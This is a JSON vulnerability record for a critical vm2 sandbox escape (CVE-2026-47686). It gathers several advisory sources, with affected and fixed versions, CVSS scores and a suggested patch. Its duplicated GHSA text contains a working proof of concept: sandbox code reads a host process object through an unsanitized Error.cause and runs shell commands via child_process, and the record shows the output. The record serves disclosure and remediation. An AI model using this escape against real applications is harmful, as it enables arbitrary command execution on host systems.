{"id":"CVE-2026-47686","aliases":["CLSA-2026-1787860907","EUVD-2026-60460","GHSA-2cm2-m3w5-gp2f","GHSA-m283-3h24-438v","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-47686"],"status":"published","title":"vm2: Missing Error.cause Sanitization Enables VM2 Sandbox Escape to RCE","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, handleException() in lib/setup-sandbox.js sanitizes SuppressedError.error, SuppressedError.suppressed, and AggregateError.errors but does not sanitize Error.cause, allowing sandbox code to obtain a powerful host object such as process from an embedder-exposed host function that throws an error with that object as its cause and then execute arbitrary host commands. This issue is fixed in version 3.11.6.","severity":{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00581,"percentile":0.48055,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-693"],"published":"2026-08-17T17:32:34Z","modified":"2026-10-28T02:30:43Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.6"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.13","3.10.5-aikido.7","3.9.7-aikido.5","3.9.19-aikido.1","3.9.7-aikido.6","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.9.17-root.io.13","3.10.5-root.io.7","3.9.7-root.io.5","3.9.19-root.io.1","3.9.7-root.io.6","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.5"},{"fixed":"3.11.6"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.19-aikido.1"},{"fixed":"3.9.7-aikido.6"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.19-root.io.1"},{"fixed":"3.9.7-root.io.6"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/7e3faaf550f4ab975bf4cdde183fcec49b056d8e","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/3.11.6","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-m283-3h24-438v"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47686.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47686","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-47686","title":"vm2: Missing Error.cause Sanitization Enables VM2 Sandbox Escape to RCE","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, handleException() in lib/setup-sandbox.js sanitizes SuppressedError.error, SuppressedError.suppressed, and AggregateError.errors but does not sanitize Error.cause, allowing sandbox code to obtain a powerful host object such as process from an embedder-exposed host function that throws an error with that object as its cause and then execute arbitrary host commands. This issue is fixed in version 3.11.6.","status":"published","published":"2026-08-17T20:54:39.406Z","modified":"2026-08-19T03:56:00.965Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T13:36:40.478484Z"}],"euvd":[{"id":"EUVD-2026-60460","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, handleException() in lib/setup-sandbox.js sanitizes SuppressedError.error, SuppressedError.suppressed, and AggregateError.errors but does not sanitize Error.cause, allowing sandbox code to obtain a powerful host object such as process from an embedder-exposed host function that throws an error with that object as its cause and then execute arbitrary host commands. This issue is fixed in version 3.11.6.","status":"published","published":"2026-08-17T20:54:39Z","modified":"2026-08-19T03:56:00Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:01:45.709762Z"}],"ghsa":[{"id":"GHSA-m283-3h24-438v","title":"VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE","description":"**Affected:** vm2 \u003c= 3.11.3\n**CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-693 (Protection Mechanism Failure)\n**Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`)\n\n## Summary\n\nI found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host.\n\nThe project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.\n\n## Root Cause\n\nThe `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`.\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' \u0026\u0026 typeof e !== 'function')) return e;\n    // ... cycle detection ...\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);      // sanitized\n            e.suppressed = handleException(e.suppressed, visited); // sanitized\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            // sanitizes e.errors[] ...\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e; // .cause is NEVER checked\n}\n```\n\nError.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked.\n\n## Affected Code\n\n- `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling)\n- `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause`\n- `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered\n\n## Reproduction\n\nEmbedder code that exposes a function throwing with `.cause` set to `process`:\n\n```javascript\nconst { VM } = require('vm2');\n\nconst vm = new VM({\n    sandbox: {\n        hostFn: () =\u003e {\n            throw new Error('fail', { cause: process });\n        }\n    }\n});\n\nconst result = vm.run(`\n    try {\n        hostFn();\n    } catch (e) {\n        // .cause is not sanitized, so we get a direct reference to host process\n        const proc = e.cause;\n        proc.mainModule.require('child_process').execSync('id').toString();\n    }\n`);\n\nconsole.log(result);\n```\n\nVerified output:\n\n```\nuid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\n```\n\nFull RCE confirmed.\n\n## Impact\n\nAny application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:\n\n- Full host process access (read/write files, spawn processes, network access)\n- Sandbox escape with changed scope (CVSS S:C)\n- No user interaction required\n\nThe prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.\n\n## Suggested Fix\n\nAdd `.cause` sanitization before the prototype-chain walk, so it applies to all error types:\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' \u0026\u0026 typeof e !== 'function')) return e;\n    if (!visited) visited = new LocalWeakMap();\n    if (apply(localWeakMapGet, visited, [e])) return e;\n    apply(localWeakMapSet, visited, [e, true]);\n\n    // Sanitize .cause on ALL errors (ES2022)\n    try {\n        if ('cause' in e) {\n            e.cause = handleException(e.cause, visited);\n        }\n    } catch (ex) { /* best effort */ }\n\n    let proto = localReflectGetPrototypeOf(e);\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);\n            e.suppressed = handleException(e.suppressed, visited);\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            if (localArrayIsArray(e.errors)) {\n                for (let i = 0; i \u003c e.errors.length; i++) {\n                    e.errors[i] = handleException(e.errors[i], visited);\n                }\n            }\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e;\n}\n```\n\n`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.\n\n## Artifacts\n\n| File | Role |\n|------|------|\n| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |\n[poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)","status":"published","published":"2026-08-17T17:32:34Z","modified":"2026-08-17T17:32:35Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:41:01.23108Z"}],"nvd":[{"id":"CVE-2026-47686","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, handleException() in lib/setup-sandbox.js sanitizes SuppressedError.error, SuppressedError.suppressed, and AggregateError.errors but does not sanitize Error.cause, allowing sandbox code to obtain a powerful host object such as process from an embedder-exposed host function that throws an error with that object as its cause and then execute arbitrary host commands. This issue is fixed in version 3.11.6.","status":"published","published":"2026-08-17T21:16:45.507Z","modified":"2026-10-23T16:10:00.313Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:12:38.647684Z"}],"osv":[{"id":"CVE-2026-47686","title":"vm2: Missing Error.cause Sanitization Enables VM2 Sandbox Escape to RCE","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, handleException() in lib/setup-sandbox.js sanitizes SuppressedError.error, SuppressedError.suppressed, and AggregateError.errors but does not sanitize Error.cause, allowing sandbox code to obtain a powerful host object such as process from an embedder-exposed host function that throws an error with that object as its cause and then execute arbitrary host commands. This issue is fixed in version 3.11.6.","status":"published","published":"2026-08-17T20:54:39.406Z","modified":"2026-10-28T02:30:43.118024083Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-m283-3h24-438v","title":"VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE","description":"**Affected:** vm2 \u003c= 3.11.3\n**CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-693 (Protection Mechanism Failure)\n**Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`)\n\n## Summary\n\nI found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host.\n\nThe project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.\n\n## Root Cause\n\nThe `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`.\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' \u0026\u0026 typeof e !== 'function')) return e;\n    // ... cycle detection ...\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);      // sanitized\n            e.suppressed = handleException(e.suppressed, visited); // sanitized\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            // sanitizes e.errors[] ...\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e; // .cause is NEVER checked\n}\n```\n\nError.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked.\n\n## Affected Code\n\n- `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling)\n- `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause`\n- `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered\n\n## Reproduction\n\nEmbedder code that exposes a function throwing with `.cause` set to `process`:\n\n```javascript\nconst { VM } = require('vm2');\n\nconst vm = new VM({\n    sandbox: {\n        hostFn: () =\u003e {\n            throw new Error('fail', { cause: process });\n        }\n    }\n});\n\nconst result = vm.run(`\n    try {\n        hostFn();\n    } catch (e) {\n        // .cause is not sanitized, so we get a direct reference to host process\n        const proc = e.cause;\n        proc.mainModule.require('child_process').execSync('id').toString();\n    }\n`);\n\nconsole.log(result);\n```\n\nVerified output:\n\n```\nuid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\n```\n\nFull RCE confirmed.\n\n## Impact\n\nAny application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:\n\n- Full host process access (read/write files, spawn processes, network access)\n- Sandbox escape with changed scope (CVSS S:C)\n- No user interaction required\n\nThe prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.\n\n## Suggested Fix\n\nAdd `.cause` sanitization before the prototype-chain walk, so it applies to all error types:\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' \u0026\u0026 typeof e !== 'function')) return e;\n    if (!visited) visited = new LocalWeakMap();\n    if (apply(localWeakMapGet, visited, [e])) return e;\n    apply(localWeakMapSet, visited, [e, true]);\n\n    // Sanitize .cause on ALL errors (ES2022)\n    try {\n        if ('cause' in e) {\n            e.cause = handleException(e.cause, visited);\n        }\n    } catch (ex) { /* best effort */ }\n\n    let proto = localReflectGetPrototypeOf(e);\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);\n            e.suppressed = handleException(e.suppressed, visited);\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            if (localArrayIsArray(e.errors)) {\n                for (let i = 0; i \u003c e.errors.length; i++) {\n                    e.errors[i] = handleException(e.errors[i], visited);\n                }\n            }\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e;\n}\n```\n\n`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.\n\n## Artifacts\n\n| File | Role |\n|------|------|\n| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |\n[poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)","status":"published","published":"2026-08-17T17:32:34Z","modified":"2026-08-17T17:56:03.690657Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T15:46:51.10002Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"ROOT-APP-NPM-CVE-2026-47686","title":"CVE-2026-47686 in vm2 - Patched by Root","description":"Root has patched CVE-2026-47686 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:25.882947136Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}
